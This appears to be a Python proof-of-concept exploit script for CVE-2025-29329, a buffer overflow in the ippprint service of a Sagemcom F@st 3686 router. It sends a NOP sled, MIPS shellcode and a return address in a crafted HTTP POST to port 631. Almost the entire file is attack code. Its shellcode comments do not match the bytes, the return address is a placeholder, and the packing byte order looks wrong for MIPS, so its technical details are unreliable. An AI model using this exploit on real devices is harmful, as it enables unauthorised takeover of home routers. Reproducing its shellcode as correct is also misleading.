import socket
import struct
# CVE-2025-29329 PoC - Buffer Overflow in Sagemcom F@st 3686 ippprint service
# Target: Sagemcom F@st 3686 MAGYAR_4.121.0
# Attack Vector: Send crafted HTTP request to trigger buffer overflow
def create_exploit_payload():
"""Generate buffer overflow payload for ippprint service"""
# Target IP and port (ippprint typically runs on port 631)
target_ip = "192.168.1.1" # Router default IP
target_port = 631 # IPP default port
# Buffer overflow payload - NOP sled + shellcode + return address
# This payload exploits the lack of input length validation
buffer_size = 1000 # Overflow size to trigger vulnerability
# NOP sled (no-operation instructions for landing pad)
nop_sled = b"\x90" * 200
# Shellcode - execve /bin/sh (Linux MIPS reverse shell)
# Note: Shellcode needs to be customized for target architecture
shellcode = (
b"\x66\x0e\x28\x24" # li t6,0x0e66
b"\x3c\x0e\x2f\x62" # lui t6,0x622f
b"\x35\xce\x2f\x6e" # ori t6,t6,0x2f6e
b"\x3c\x0f\x2f\x73" # lui t7,0x732f
b"\x35\xef\x68\x69" # ori t7,t7,0x6968
b"\xaf\xaf\xff\x1f" # sw t7,-0x1(t5)
b"\xaf\x0e\xfc\x1f" # sw t6,-0x3(t5)
b"\x27\x78\xfc\x1f" # addiu t8,t8,-0x3
b"\x27\x68\x08\x01" # move t9,sp
b"\x01\x01\x30\x27" # nor a2,zero,a2
b"\x24\x0c\xff\xff" # li t4,-1
b"\x01\x01\x28\x27" # nor a1,zero,a2
b"\x24\x02\x0c\xab" # li v0,3243
b"\x01\x01\x20\x27" # nor a0,zero,a2
b"\x01\x01\x38\x27" # nor a3,zero,a2
b"\x24\x0f\x02\x01" # li t7,513
b"\x01\x01\xf8\x27" # nor ra,ra,zero
b"\x01\x01\x18\x27" # nor s8,zero,zero
b"\x01\x01\x20\x27" # nor a0,zero,zero
b"\x01\x01\x01\x24" # nop
)
# Padding to reach buffer overflow size
padding = b"A" * (buffer_size - len(nop_sled) - len(shellcode))
# Return address - points to NOP sled (address may vary)
return_addr = struct.pack("<I", 0x2a2a2a2a) # Placeholder address
# Construct full payload
payload = nop_sled + shellcode + padding + return_addr
return payload
def send_exploit():
"""Send crafted HTTP request to trigger buffer overflow"""
target_ip = "192.168.1.1"
target_port = 631
payload = create_exploit_payload()
# Construct malicious HTTP POST request
http_request = (
b"POST /ipp/print HTTP/1.1\r\n"
b"Host: " + target_ip.encode() + b":" + str(target_port).encode() + b"\r\n"
b"Content-Type: application/ipp\r\n"
b"User-Agent: Mozilla/5.0\r\n"
b"Content-Length: " + str(len(payload)).encode() + b"\r\n"
b"\r\n"
) + payload
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
sock.send(http_request)
print(f"[*] Exploit sent to {target_ip}:{target_port}")
print(f"[*] Payload size: {len(payload)} bytes")
# Receive response
response = sock.recv(4096)
print(f"[*] Response received: {len(response)} bytes")
sock.close()
except Exception as e:
print(f"[!] Error: {str(e)}")
if __name__ == "__main__":
print("CVE-2025-29329 PoC - Sagemcom F@st 3686 ippprint Buffer Overflow")
send_exploit()